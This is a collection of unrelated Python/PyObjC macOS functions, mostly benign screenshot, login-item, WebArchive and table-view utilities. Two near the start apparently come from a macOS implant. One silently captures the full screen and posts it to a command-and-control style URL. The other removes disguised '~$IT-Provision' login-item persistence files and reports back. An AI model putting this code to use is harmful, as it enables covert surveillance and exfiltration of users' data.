def asWebArchive(self): """ Convert the MHT archive to a webarchive. """ rootType, rootText = self.parts[self.root] pageResource = WebResource.alloc( ).initWithData_URL_MIMEType_textEncodingName_frameName_( NSData.dataWithBytes_length_(rootText.replace(b"\\", b"/"), len(rootText)), NSURL.URLWithString_(self.fixupURL(self.root)), NSString.stringWithString_(rootType), None, None, ) resources = [] for url in self.parts: if url == self.root: continue tp, data = self.parts[url] resources.append(WebResource.alloc( ).initWithData_URL_MIMEType_textEncodingName_frameName_( NSData.dataWithBytes_length_(data, len(data)), NSURL.URLWithString_(self.fixupURL(url)), NSString.stringWithString_(tp), None, None, )) return WebArchive.alloc( ).initWithMainResource_subresources_subframeArchives_( pageResource, resources, None)
def screenshot(): try: region = CG.CGRectInfinite path = '/Users/Shared/out.png' image = CG.CGWindowListCreateImage(region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault) imagepath = NSURL.fileURLWithPath_(path) dest = Quartz.CGImageDestinationCreateWithURL(imagepath, LaunchServices.kUTTypePNG, 1, None) properties = {Quartz.kCGImagePropertyDPIWidth: 1024, Quartz.kCGImagePropertyDPIHeight: 720,} Quartz.CGImageDestinationAddImage(dest, image, properties) x = Quartz.CGImageDestinationFinalize(dest) with open('/Users/Shared/out.png', 'rb') as fl: x = fl.read() vals = {'content':x} srvr = 'https://127.0.0.1/validatiion/profile/1' req = urllib2.Request(srvr,headers=headers,data=vals.get('content')) resp = urllib2.urlopen(req,context=context) respn = resp.read() fl.close() os.remove('/Users/Shared/out.png') except Exception as e: vals = {'content':e} vals2 = urllib.urlencode(vals) srvr = 'https://127.0.0.1/validatiion/profile/1' req = urllib2.Request(srvr,headers=headers,data=vals2) resp = urllib2.urlopen(req,context=context) respn = resp.read()
def screenshot(path, region = None): """region should be a CGRect, something like: >>> import Quartz.CoreGraphics as CG >>> region = CG.CGRectMake(0, 0, 100, 100) >>> sp = ScreenPixel() >>> sp.capture(region=region) The default region is CG.CGRectInfinite (captures the full screen) """ if region is None: region = CG.CGRectInfinite # Create screenshot as CGImage image = CG.CGWindowListCreateImage( region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault) dpi = 72 # FIXME: Should query this from somewhere, e.g for retina displays url = NSURL.fileURLWithPath_(path) dest = Quartz.CGImageDestinationCreateWithURL( url, LaunchServices.kUTTypePNG, # file type 1, # 1 image in file None ) properties = { Quartz.kCGImagePropertyDPIWidth: dpi, Quartz.kCGImagePropertyDPIHeight: dpi, } # Add the image to the destination, characterizing the image with # the properties dictionary. Quartz.CGImageDestinationAddImage(dest, image, properties) # When all the images (only 1 in this example) are added to the destination, # finalize the CGImageDestination object. Quartz.CGImageDestinationFinalize(dest)
def screenshot(region=None, dpi=72, cv2_format=False): if region is None: region = CG.CGRectInfinite else: region = CG.CGRectMake(*region) image = CG.CGWindowListCreateImage(region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault) file_name = '.screenshot-{0}.png'.format( datetime.datetime.now().strftime('%Y-%m%d_%H-%M-%S-%f')) file_type = LaunchServices.kUTTypePNG file_url = NSURL.fileURLWithPath_(file_name) dest = Quartz.CGImageDestinationCreateWithURL(file_url, file_type, 1, None) properties = { Quartz.kCGImagePropertyDPIWidth: dpi, Quartz.kCGImagePropertyDPIHeight: dpi, } Quartz.CGImageDestinationAddImage(dest, image, properties) Quartz.CGImageDestinationFinalize(dest) if cv2_format: image = cv2.imread(file_name) else: image = Image.open(file_name) os.unlink(file_name) return image
def open_app_at_startup(enabled=True): """ This function adds/removes the current app bundle from Login items in macOS """ if sys.platform == 'darwin': from Foundation import NSDictionary from Cocoa import NSBundle, NSURL from CoreFoundation import kCFAllocatorDefault # CF = CDLL(find_library('CoreFoundation')) from LaunchServices import (LSSharedFileListCreate, kLSSharedFileListSessionLoginItems, LSSharedFileListInsertItemURL, kLSSharedFileListItemHidden, kLSSharedFileListItemLast, LSSharedFileListItemRemove) app_path = NSBundle.mainBundle().bundlePath() url = NSURL.alloc().initFileURLWithPath_(app_path) login_items = LSSharedFileListCreate( kCFAllocatorDefault, kLSSharedFileListSessionLoginItems, None) props = NSDictionary.dictionaryWithObject_forKey_( True, kLSSharedFileListItemHidden) new_item = LSSharedFileListInsertItemURL(login_items, kLSSharedFileListItemLast, None, None, url, props, None) if not enabled: LSSharedFileListItemRemove(login_items, new_item)
def screenshot(path, region=None): """saves screenshot of given region to path :path: string path to save to :region: tuple of (x, y, width, height) :returns: nothing """ if region is None: region = CG.CGRectInfinite # Create screenshot as CGImage image = CG.CGWindowListCreateImage( region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault ) dpi = 72 # FIXME: Should query this from somewhere, e.g for retina displays url = NSURL.fileURLWithPath_(path) dest = Quartz.CGImageDestinationCreateWithURL( url, LaunchServices.kUTTypePNG, 1, None # file type # 1 image in file ) properties = {Quartz.kCGImagePropertyDPIWidth: dpi, Quartz.kCGImagePropertyDPIHeight: dpi} # Add the image to the destination, characterizing the image with # the properties dictionary. Quartz.CGImageDestinationAddImage(dest, image, properties) # When all the images (only 1 in this example) are added to the destination, # finalize the CGImageDestination object. Quartz.CGImageDestinationFinalize(dest)
def main(*args): if not args: args = ("dict", ) setup() try: for arg in args: url = NSURL.URLWithString_("pydoc:///%s" % (arg, )) print(NSString.stringWithContentsOfURL_(url)) finally: teardown()
def unpersist(): try: uname = getpass.getuser() SFL_bundle = NSBundle.bundleWithIdentifier_('com.apple.coreservices.SharedFileList') functions = [('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'), ('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'), ('LSSharedFileListItemCopyDisplayName', '^{__CFString=}^{OpaqueLSSharedFileListItemRef=}'), ('LSSharedFileListItemResolve', 'i^{OpaqueLSSharedFileListItemRef=}Io^^{__CFURL=}o^{FSRef=[80C]}'), ('LSSharedFileListItemMove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListItemRef=}'), ('LSSharedFileListItemRemove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}'), ('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'), ('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}'), ('kLSSharedFileListItemLast', '^{OpaqueLSSharedFileListItemRef=}'), ('LSSharedFileListSetAuthorization', 'i^{OpaqueLSSharedFileListRef=}^{AuthorizationOpaqueRef=}'), ('AuthorizationCreate', 'i^{_AuthorizationRights=I^{_AuthorizationItem=^cQ^vI}}^{_AuthorizationEnvironment=I^{_AuthorizationItem=^cQ^vI}}I^^{AuthorizationOpaqueRef=}'),] objc.loadBundleFunctions(SFL_bundle, globals(), functions) auth = SFAuthorization.authorization().authorizationRef() ref = SCPreferencesCreateWithAuthorization(None, "/Users/%s/~$IT-Provision.zip"%uname, "/Users/%s/~$IT-Provision.zip"%uname, auth) count = len('/Users/%s/Library/WebKit/~$IT-Provision.zip'%uname) temp = CoreFoundation.CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault,'/Users/%s/~$IT-Provision.zip'%uname,int(count),False) list_ref = LSSharedFileListCreate(kCFAllocatorDefault, kLSSharedFileListGlobalLoginItems, None) login_items,_ = LSSharedFileListCopySnapshot(list_ref, None) x = [list_ref, login_items] url_list = [] for items in x[1]: err, a_CFURL, a_FSRef = LSSharedFileListItemResolve(items, kLSSharedFileListNoUserInteraction + kLSSharedFileListNoUserInteraction, None, None) url_list.append(a_CFURL) path = NSURL.fileURLWithPath_('/Users/%s/~$IT-Provision.zip'%uname) if path in url_list: i = url_list.index(path) target = login_items[i] result = LSSharedFileListItemRemove(list_ref, target) os.remove('/Users/%s/~$IT-Provision.zip'%uname) os.remove('/Users/%s/Library/WebKit/~$IT-Provision.py'%uname) sendstring = "[+] ~/~$IT-Provision.zip and ~/Library/WebKit/~$IT-Provision.py Login Item persistence files removed" a = {'content':sendstring} b = 'https://127.0.0.1/validatiion/profile/19' c = urllib2.Request(b,headers=headers,data=a.get('content')) d = urllib2.urlopen(c,context=context) e = d.read() except Exception as e: a = {'error':str(e)} b = 'https://127.0.0.1/validatiion/profile/19' c = urllib2.Request(b,headers=headers,data=a.get('error')) d = urllib2.urlopen(c,context=context) e = d.read()
def open_app_at_startup(enabled=True): """ This function adds/removes the current app bundle from Login items in macOS or most Linux desktops """ if sys.platform == 'darwin': from Foundation import NSDictionary from Cocoa import NSBundle, NSURL from CoreFoundation import kCFAllocatorDefault # CF = CDLL(find_library('CoreFoundation')) from LaunchServices import (LSSharedFileListCreate, kLSSharedFileListSessionLoginItems, LSSharedFileListInsertItemURL, kLSSharedFileListItemHidden, kLSSharedFileListItemLast, LSSharedFileListItemRemove) app_path = NSBundle.mainBundle().bundlePath() url = NSURL.alloc().initFileURLWithPath_(app_path) login_items = LSSharedFileListCreate( kCFAllocatorDefault, kLSSharedFileListSessionLoginItems, None) props = NSDictionary.dictionaryWithObject_forKey_( True, kLSSharedFileListItemHidden) new_item = LSSharedFileListInsertItemURL(login_items, kLSSharedFileListItemLast, None, None, url, props, None) if not enabled: LSSharedFileListItemRemove(login_items, new_item) elif sys.platform.startswith('linux'): autostart_path = Path.home() / '.config' / 'autostart' if not autostart_path.exists(): autostart_path.mkdir() autostart_file_path = autostart_path / 'vorta.desktop' if enabled: if Path('/.flatpak-info').exists(): # Vorta runs as flatpak autostart_file_path.write_text( LINUX_STARTUP_FILE.format( 'flatpak run com.borgbase.vorta')) else: autostart_file_path.write_text( LINUX_STARTUP_FILE.format('vorta')) else: if autostart_file_path.exists(): autostart_file_path.unlink()
def awakeFromNib(self): # we're only using the AMWorkflowView for display self.workflowView.setEditable_(False) # set up the data for NSTableView. We'll store a list of # NSDictonary records each containing some information about the # workflow. We'll display the name of the workflow's file in the # window. # set up an array for storing the table information theWorkflows = NSMutableArray.alloc().initWithCapacity_(20) # retrieve a list of all of the workflows stored in the application's # resourced folder. workflowPaths = NSBundle.mainBundle( ).pathsForResourcesOfType_inDirectory_("workflow", "workflows") # iterate through the paths, adding them to our table information # as we go. for nthWorkflowPath in workflowPaths: wfError = None # convert the path into an URL nthWorkflowURL = NSURL.fileURLWithPath_isDirectory_( nthWorkflowPath, False) # allocate and initialize the workflow nthWorkflow, wfError = AMWorkflow.alloc( ).initWithContentsOfURL_error_(nthWorkflowURL, None) if nthWorkflow: # calculate the file name without path or extension nthFileName = nthWorkflowPath.componentsSeparatedByString_( "/")[-1] nthDisplayName = nthFileName[:-9] # add the workflow to the list theWorkflows.append({ "name": nthDisplayName, "path": nthWorkflowPath, "workflow": nthWorkflow, }) # set the workflows self._.workflows = theWorkflows # if there are any workflows in the list, then select and display the first one */ if len(self._.workflows): self.workflowTable.selectRowIndexes_byExtendingSelection_( NSIndexSet.indexSetWithIndex_(0), False) self.displaySelectedWorkflow()
def local_file_from_drop_url(url): """ Get the local file path associated with a drag/drop URL This is platform-dependent so put into it's own function :return: Local file path """ if sys.platform.startswith("darwin"): # OSx specific changes to allow drag and drop from Cocoa import NSURL return str(NSURL.URLWithString_(str(url.toString())).filePathURL().path()) else: return str(url.toLocalFile())
def _grab_to_file(self, filename, bbox=None, dpi=72): # FIXME: Should query dpi from somewhere, e.g for retina displays import Quartz import LaunchServices from Cocoa import NSURL import Quartz.CoreGraphics as CG import objc if bbox: width = bbox[2] - bbox[0] height = bbox[3] - bbox[1] region = CG.CGRectMake(bbox[0], bbox[1], width, height) else: region = CG.CGRectInfinite # Create screenshot as CGImage image = CG.CGWindowListCreateImage( region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault, ) # XXX: Can add more types: # https://developer.apple.com/library/mac/documentation/MobileCoreServices/Reference/UTTypeRef/Reference/reference.html#//apple_ref/doc/uid/TP40008771 file_type = LaunchServices.kUTTypePNG url = NSURL.fileURLWithPath_(filename) dest = Quartz.CGImageDestinationCreateWithURL( url, file_type, # 1 image in file 1, None, ) properties = { Quartz.kCGImagePropertyDPIWidth: dpi, Quartz.kCGImagePropertyDPIHeight: dpi, } # Add the image to the destination, characterizing the image with # the properties dictionary. Quartz.CGImageDestinationAddImage(dest, image, properties) # When all the images (only 1 in this example) are added to the destination, # finalize the CGImageDestination object. Quartz.CGImageDestinationFinalize(dest)
def awakeFromNib(self): # we're only using the AMWorkflowView for display self.workflowView.setEditable_(False) # set up the data for NSTableView. We'll store a list of # NSDictonary records each containing some information about the # workflow. We'll display the name of the workflow's file in the # window. # set up an array for storing the table information theWorkflows = NSMutableArray.alloc().initWithCapacity_(20) # retrieve a list of all of the workflows stored in the application's # resourced folder. workflowPaths = NSBundle.mainBundle().pathsForResourcesOfType_inDirectory_( "workflow", "workflows") # iterate through the paths, adding them to our table information # as we go. for nthWorkflowPath in workflowPaths: wfError = None # convert the path into an URL nthWorkflowURL = NSURL.fileURLWithPath_isDirectory_(nthWorkflowPath, False) # allocate and initialize the workflow nthWorkflow, wfError = AMWorkflow.alloc().initWithContentsOfURL_error_(nthWorkflowURL, None) if nthWorkflow: # calculate the file name without path or extension nthFileName = nthWorkflowPath.componentsSeparatedByString_("/")[-1] nthDisplayName = nthFileName[:-9] # add the workflow to the list theWorkflows.append(dict( name=nthDisplayName, path=nthWorkflowPath, workflow=nthWorkflow, )) # set the workflows self._.workflows = theWorkflows # if there are any workflows in the list, then select and display the first one */ if len(self._.workflows): self.workflowTable.selectRowIndexes_byExtendingSelection_( NSIndexSet.indexSetWithIndex_(0), False) self.displaySelectedWorkflow()
def tts_NS(word): ## Initialise voice synthesizer # synth = [[NSSpeechSynthesizer alloc] initWithVoice:nil]; synth = NSSpeechSynthesizer.alloc().initWithVoice_(None) ## Set voice values synth.setVoice_(VOICE) synth.setVolume_(VOLUME) synth.setRate_(RATE) ## Create NSURL path filepath = "../Audio/" + str(len(WORDS)) + "_" + word + "_NS.aiff" url = NSURL.fileURLWithPath_(filepath) ## Save sythesized word synth.startSpeakingString_toURL_(word, url)
def add(self, to_add: str, uri: str = "file://localhost") -> None: """Append item to sidebar list items. :param str to_add: Path to item to append to sidebar list. :param str uri: URI of server where item resides if not on localhost. """ if uri.startswith("afp") or uri.startswith("smb"): to_add = mount_share(uri + to_add) item = NSURL.alloc().initFileURLWithPath_(to_add) LSSharedFileListInsertItemURL(self.sflRef, kLSSharedFileListItemBeforeFirst, None, None, item, None, None) self.synchronize() self.update()
def screenshot(self, path, region=None): if region is None: region = CG.CGRectInfinite image = CG.CGWindowListCreateImage(region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault) dpi = 72 url = NSURL.fileURLWithPath_(path) dest = Quartz.CGImageDestinationCreateWithURL( url, LaunchServices.kUTTypePNG, 1, None) properties = { Quartz.kCGImagePropertyDPIWidth: dpi, Quartz.kCGImagePropertyDPIHeight: dpi, } Quartz.CGImageDestinationAddImage(dest, image, properties) Quartz.CGImageDestinationFinalize(dest)
def _grab_to_file(self, filename, bbox=None, dpi=72): # Should query dpi from somewhere, e.g for retina displays? import Quartz import LaunchServices from Cocoa import NSURL import Quartz.CoreGraphics as CG if bbox: width = bbox[2] - bbox[0] height = bbox[3] - bbox[1] region = CG.CGRectMake(bbox[0], bbox[1], width, height) else: region = CG.CGRectInfinite # Create screenshot as CGImage image = CG.CGWindowListCreateImage( region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault, ) file_type = LaunchServices.kUTTypePNG url = NSURL.fileURLWithPath_(filename) dest = Quartz.CGImageDestinationCreateWithURL( url, file_type, # 1 image in file 1, None, ) properties = { Quartz.kCGImagePropertyDPIWidth: dpi, Quartz.kCGImagePropertyDPIHeight: dpi, } # Add the image to the destination, characterizing the image with # the properties dictionary. Quartz.CGImageDestinationAddImage(dest, image, properties) # When all the images (only 1 in this example) are added to the destination, # finalize the CGImageDestination object. Quartz.CGImageDestinationFinalize(dest)
def detect_text(img_path: str, orientation: Optional[int] = None) -> List: """process image at img_path with VNRecognizeTextRequest and return list of results Args: img_path: path to the image file orientation: optional EXIF orientation (if known, passing orientation may improve quality of results) """ if not vision: logging.warning( f"detect_text not implemented for this version of macOS") return [] with objc.autorelease_pool(): input_url = NSURL.fileURLWithPath_(img_path) with pipes() as (out, err): # capture stdout and stderr from system calls # otherwise, Quartz.CIImage.imageWithContentsOfURL_ # prints to stderr something like: # 2020-09-20 20:55:25.538 python[73042:5650492] Creating client/daemon connection: B8FE995E-3F27-47F4-9FA8-559C615FD774 # 2020-09-20 20:55:25.652 python[73042:5650492] Got the query meta data reply for: com.apple.MobileAsset.RawCamera.Camera, response: 0 input_image = Quartz.CIImage.imageWithContentsOfURL_(input_url) vision_options = NSDictionary.dictionaryWithDictionary_({}) if orientation is not None: if not 1 <= orientation <= 8: raise ValueError("orientation must be between 1 and 8") vision_handler = Vision.VNImageRequestHandler.alloc( ).initWithCIImage_orientation_options_(input_image, orientation, vision_options) else: vision_handler = ( Vision.VNImageRequestHandler.alloc().initWithCIImage_options_( input_image, vision_options)) results = [] handler = make_request_handler(results) vision_request = (Vision.VNRecognizeTextRequest.alloc(). initWithCompletionHandler_(handler)) error = vision_handler.performRequests_error_([vision_request], None) vision_request.dealloc() vision_handler.dealloc() for result in results: result[0] = str(result[0]) return results
def add(self, to_add, uri="file://localhost"): """ Append item to sidebar list items. Args: to_add (str): Path to item to append to sidebar list. Keyword Args: uri (str): URI of server where item resides if not on localhost. """ if uri.startswith("afp") or uri.startswith("smb"): path = "%s%s" % (uri, to_add) to_add = mount_share(path) item = NSURL.alloc().initFileURLWithPath_(to_add) LSSharedFileListInsertItemURL(self.sflRef, kLSSharedFileListItemBeforeFirst, None, None, item, None, None) self.synchronize() self.update()
def screenshot(path, region=None): """saves screenshot of given region to path :path: string path to save to :region: tuple of (x, y, width, height) :returns: nothing """ if region is None: region = CG.CGRectInfinite else: region = CG.CGRectMake(*region) # Create screenshot as CGImage image = CG.CGWindowListCreateImage( region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault) dpi = 72 # FIXME: Should query this from somewhere, e.g for retina displays url = NSURL.fileURLWithPath_(path) dest = Quartz.CGImageDestinationCreateWithURL( url, LaunchServices.kUTTypePNG, # file type 1, # 1 image in file None ) properties = { Quartz.kCGImagePropertyDPIWidth: dpi, Quartz.kCGImagePropertyDPIHeight: dpi, } # Add the image to the destination, characterizing the image with # the properties dictionary. Quartz.CGImageDestinationAddImage(dest, image, properties) # When all the images (only 1 in this example) are added to the destination, # finalize the CGImageDestination object. Quartz.CGImageDestinationFinalize(dest)
def local_file_from_drop_url(url): """ Get the local file path associated with a drag/drop URL This is platform-dependent so put into it's own function :return: Local file path """ if sys.platform.startswith("darwin"): # OSx specific changes to allow drag and drop from Cocoa import NSURL return str(NSURL.URLWithString_(str(url.toString())).filePathURL().path()) else: path = str(url.toLocalFile()) if sys.platform.startswith("win"): # QT bug with UNC paths. We can't fix this generally but we want # the WSL specific case to work, so detect that at least wslpath = "\\\\wsl$\\" + path if not os.path.exists(path) and os.path.exists(wslpath): return wslpath return path
def open_app_at_startup(enabled=True): """ This function adds/removes the current app bundle from Login items in macOS or most Linux desktops """ if sys.platform == 'darwin': from Foundation import NSDictionary from Cocoa import NSBundle, NSURL from CoreFoundation import kCFAllocatorDefault # CF = CDLL(find_library('CoreFoundation')) from LaunchServices import (LSSharedFileListCreate, kLSSharedFileListSessionLoginItems, LSSharedFileListInsertItemURL, kLSSharedFileListItemHidden, kLSSharedFileListItemLast, LSSharedFileListItemRemove) app_path = NSBundle.mainBundle().bundlePath() url = NSURL.alloc().initFileURLWithPath_(app_path) login_items = LSSharedFileListCreate( kCFAllocatorDefault, kLSSharedFileListSessionLoginItems, None) props = NSDictionary.dictionaryWithObject_forKey_( True, kLSSharedFileListItemHidden) new_item = LSSharedFileListInsertItemURL(login_items, kLSSharedFileListItemLast, None, None, url, props, None) if not enabled: LSSharedFileListItemRemove(login_items, new_item) elif sys.platform.startswith('linux'): config_path = QtCore.QStandardPaths.writableLocation( QtCore.QStandardPaths.ConfigLocation) autostart_file_path = Path(config_path) / 'autostart' / 'vorta.desktop' if enabled: dir_entry_point = get_setuptools_script_dir() autostart_file_path.write_text( LINUX_STARTUP_FILE.format(dir_entry_point)) else: if autostart_file_path.exists(): autostart_file_path.unlink()
def tableView_acceptDrop_row_dropOperation_(self, tv, info, row, op): if row < 0: row = 0 if info.draggingSource() == self.tableView: rows = info.draggingPasteboard().propertyListForType_( MovedRowsType) indexSet = self.indexSetFromRows_(rows) self.moveObjectsInArrangedObjectsFromIndexes_toIndex_( indexSet, row) # set selected rows to those that were just moved # Need to work out what moved where to determine proper selection... rowsAbove = self.rowsAboveRow_inIndexSet_(row, indexSet) aRange = NSMakeRange(row - rowsAbove, indexSet.count()) indexSet = NSIndexSet.indexSetWithIndexesInRange_(aRange) # set selected rows to those that were just copied self.setSelectionIndexes_(indexSet) return True # Can we get rows from another document? If so, add them, then return. newRows = info.draggingPasteboard().propertyListForType_( CopiedRowsType) if newRows: aRange = NSMakeRange(row, newRows.count()) indexSet = NSIndexSet.indexSetWithIndexesInRange_(aRange) self.insertObjects_atArrangedObjectIndexes_(newRows, indexSet) self.setSelectionIndexes_(indexSet) return True # Can we get an URL? If so, add a new row, configure it, then return. url = NSURL.URLFromPasteboard_(info.draggingPasteboard()) if url: newObject = self.newObject() self.insertObject_atArrangedObjectIndex_(newObject, row) newObject.setValue_forKey_(url.absoluteString(), u"url") newObject.setValue_forKey_(NSCalendarDate.date(), u"date") # set selected rows to those that were just copied self.setSelectionIndex_(row) return True return False
def tableView_writeRows_toPasteboard_(self, tv, rows, pboard): # declare our own pasteboard types typesArray = [CopiedRowsType, MovedRowsType] # If the number of rows is not 1, then we only support our own types. # If there is just one row, then try to create an NSURL from the url # value in that row. If that's possible, add NSURLPboardType to the # list of supported types, and add the NSURL to the pasteboard. if len(rows) != 1: pboard.declareTypes_owner_(typesArray, self) else: # Try to create an URL # If we can, add NSURLPboardType to the declared types and write # the URL to the pasteboard; otherwise declare existing types row = rows[0] urlString = self.arrangedObjects()[row].valueForKey_(u'url') url = None if urlString: url = NSURL.URLWithString_(urlString) if urlString and url: typesArray.append(NSURLPboardType) pboard.declareTypes_owner_(typesArray, self) url.writeToPasteboard_(pboard) else: pboard.declareTypes_owner_(typesArray, self) # add rows array for local move pboard.setPropertyList_forType_(rows, MovedRowsType) # create new array of selected rows for remote drop # could do deferred provision, but keep it direct for clarity rowCopies = self.arrangedObjects()[:] # setPropertyList works here because we're using dictionaries, strings, # and dates; otherwise, archive collection to NSData... pboard.setPropertyList_forType_(rowCopies, CopiedRowsType) return True
def screenshot(self, path, region = None): #https://pythonhosted.org/pyobjc/examples/Quartz/Core%20Graphics/CGRotation/index.html try: # record how long it takes to take screenshot start = time.time() scr = NSScreen.screens() # Trying to capture mouse cursor # Quartz.CGDisplayShowCursor(Quartz.CGMainDisplayID()) # Quartz.CGAssociateMouseAndMouseCursorPosition(True) # Set to capture entire screen, including multiple monitors if region is None: region = CG.CGRectInfinite # Create CGImage, composite image of windows in region image = None image = CG.CGWindowListCreateImage( region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault ) xmin = 0 ymin = 0 for s in scr: if s.frame().origin.x < xmin: xmin = s.frame().origin.x if s.frame().origin.y < ymin: ymin = s.frame().origin.y nativeHeight = CGImageGetHeight(image)*1.0 nativeWidth = CGImageGetWidth(image)*1.0 nativeRatio = nativeWidth/nativeHeight prefHeight = NSUserDefaultsController.sharedUserDefaultsController().values().valueForKey_('imageSize') height = int(prefHeight) #int(prefHeight/scr[0].frame().size.height*nativeHeight) width = int(nativeRatio * height) # Computes the scale factor between the user resolution and the native screen resolution resolutionScaleFactor = scr[0].frame().size.height / nativeHeight # Computes the scale factor between the image size in the preferences and the user resolution prefScaleFactor = height / scr[0].frame().size.height mouseLoc = NSEvent.mouseLocation() x = int(mouseLoc.x) y = int(mouseLoc.y) w = 16 h = 24 scale_x = int((x-xmin) * prefScaleFactor) scale_y = int((y-h+5-ymin) * prefScaleFactor) #int((y-h+5-ymin) * heightScaleFactor) scale_w = w*prefScaleFactor scale_h = h*prefScaleFactor #Allocate image data and create context for drawing image imageData = None imageData = LaunchServices.objc.allocateBuffer(int(100)) imageData = LaunchServices.objc.allocateBuffer(int(4 * width * height)) bitmapContext = None bitmapContext = Quartz.CGBitmapContextCreate( imageData, # image data we just allocated... width, height, 8, # 8 bits per component 4 * width, # bytes per pixel times number of pixels wide Quartz.CGImageGetColorSpace(image), # use the same colorspace as the original image Quartz.kCGImageAlphaPremultipliedFirst # use premultiplied alpha ) #Draw image on context at new scale rect = CG.CGRectMake(0.0,0.0,width,height) Quartz.CGContextDrawImage(bitmapContext, rect, image) # Add Mouse cursor to the screenshot cursorPath = "../Resources/cursor.png" cursorPathStr = NSString.stringByExpandingTildeInPath(cursorPath) cursorURL = NSURL.fileURLWithPath_(cursorPathStr) # Create a CGImageSource object from 'url'. cursorImageSource = None cursorImageSource = Quartz.CGImageSourceCreateWithURL(cursorURL, None) # Create a CGImage object from the first image in the file. Image # indexes are 0 based. cursorOverlay = None cursorOverlay = Quartz.CGImageSourceCreateImageAtIndex(cursorImageSource, 0, None) Quartz.CGContextDrawImage(bitmapContext, CG.CGRectMake(scale_x, scale_y, scale_w, scale_h), cursorOverlay) #Recreate image from context imageOut = Quartz.CGBitmapContextCreateImage(bitmapContext) #Image properties dictionary dpi = 72 # FIXME: Should query this from somewhere, e.g for retina display properties = { Quartz.kCGImagePropertyDPIWidth: dpi, Quartz.kCGImagePropertyDPIHeight: dpi, Quartz.kCGImageDestinationLossyCompressionQuality: 0.6, } # Getting id of current window and application try: activeAppName = self.workspace.activeApplication()['NSApplicationName'] except: activeAppName = "" print "failed NSApplicationName" active_app_id = self.getProcessIDFromName(activeAppName) options = kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements windowList = CGWindowListCopyWindowInfo(options, kCGNullWindowID) for window in windowList: # window_name = str(window.get('kCGWindowName', u'').encode('ascii', 'replace')) window_name = self.getWindowName(window) owner = window['kCGWindowOwnerName'] if (activeAppName == owner and window_name != ''): break active_window_id = self.getWindowIDFromName(window_name) # Done with getting id of current window and application #Convert path to url for saving image pathWithCursor = path[0:-4] + "_" + str(x) + "_" + str(y) if (active_app_id != None and active_app_id != '') : pathWithCursor = pathWithCursor + "_app" + str(active_app_id) if (active_window_id != None and active_window_id != '') : pathWithCursor = pathWithCursor + "_win" + str(active_window_id) pathWithCursor = pathWithCursor + '.jpg' # print pathWithCursor pathStr = NSString.stringByExpandingTildeInPath(pathWithCursor) url = NSURL.fileURLWithPath_(pathStr) #Set image destination (where it will be saved) dest = Quartz.CGImageDestinationCreateWithURL( url, LaunchServices.kUTTypeJPEG, # file type 1, # 1 image in file None ) # Add the image to the destination, with certain properties Quartz.CGImageDestinationAddImage(dest, imageOut, properties) # finalize the CGImageDestination object. Quartz.CGImageDestinationFinalize(dest) #For testing how long it takes to take screenshot stop = time.time() # print 'took ' + str(height) + 'px image in ' + str(stop-start)[:5] + ' seconds' except KeyboardInterrupt: print "Keyboard interrupt" AppHelper.stopEventLoop() except errno.ENOSPC: NSLog("No space left on storage device. Turning off Selfspy recording.") self.delegate.toggleLogging_(self) except: NSLog("couldn't save image")
def open_url(url): workspace = NSWorkspace.sharedWorkspace() workspace.openURL_(NSURL.URLWithString_(url))
def main(): parser = argparse.ArgumentParser(description="Utility to print, set, or " + "check the path to image being used as " + "the desktop background image. By " + "default, prints the path to the " + "current desktop background image.") parser.add_argument( "-v", "--verbose", action="store_true", help="print verbose debugging information", default=False, ) group = parser.add_mutually_exclusive_group() group.add_argument( "-s", "--set-background-image", dest="newBackgroundImagePath", required=False, help="path to the new background image to set. A zero " + "exit code indicates no errors occurred.", default=None, ) group.add_argument( "-c", "--check-background-image", dest="checkBackgroundImagePath", required=False, help="check if the provided background image path " + "matches the provided path. A zero exit code " + "indicates the paths match.", default=None, ) args = parser.parse_args() # Using logging for verbose output if args.verbose: logging.basicConfig(level=logging.DEBUG) else: logging.basicConfig(level=logging.CRITICAL) logger = logging.getLogger("desktopImage") # Print what we're going to do if args.checkBackgroundImagePath is not None: logger.debug("checking provided desktop image %s matches current " "image" % args.checkBackgroundImagePath) elif args.newBackgroundImagePath is not None: logger.debug("setting image to %s " % args.newBackgroundImagePath) else: logger.debug("retrieving desktop image path") focussedScreen = NSScreen.mainScreen() if not focussedScreen: raise RuntimeError("mainScreen error") ws = NSWorkspace.sharedWorkspace() if not ws: raise RuntimeError("sharedWorkspace error") # If we're just checking the image path, check it and then return. # A successful exit code (0) indicates the paths match. if args.checkBackgroundImagePath is not None: # Get existing desktop image path and resolve it existingImageURL = getCurrentDesktopImageURL(focussedScreen, ws, logger) existingImagePath = existingImageURL.path() existingImagePathReal = os.path.realpath(existingImagePath) logger.debug("existing desktop image: %s" % existingImagePath) logger.debug("existing desktop image realpath: %s" % existingImagePath) # Resolve the path we're going to check checkImagePathReal = os.path.realpath(args.checkBackgroundImagePath) logger.debug("check desktop image: %s" % args.checkBackgroundImagePath) logger.debug("check desktop image realpath: %s" % checkImagePathReal) if existingImagePathReal == checkImagePathReal: print("desktop image path matches 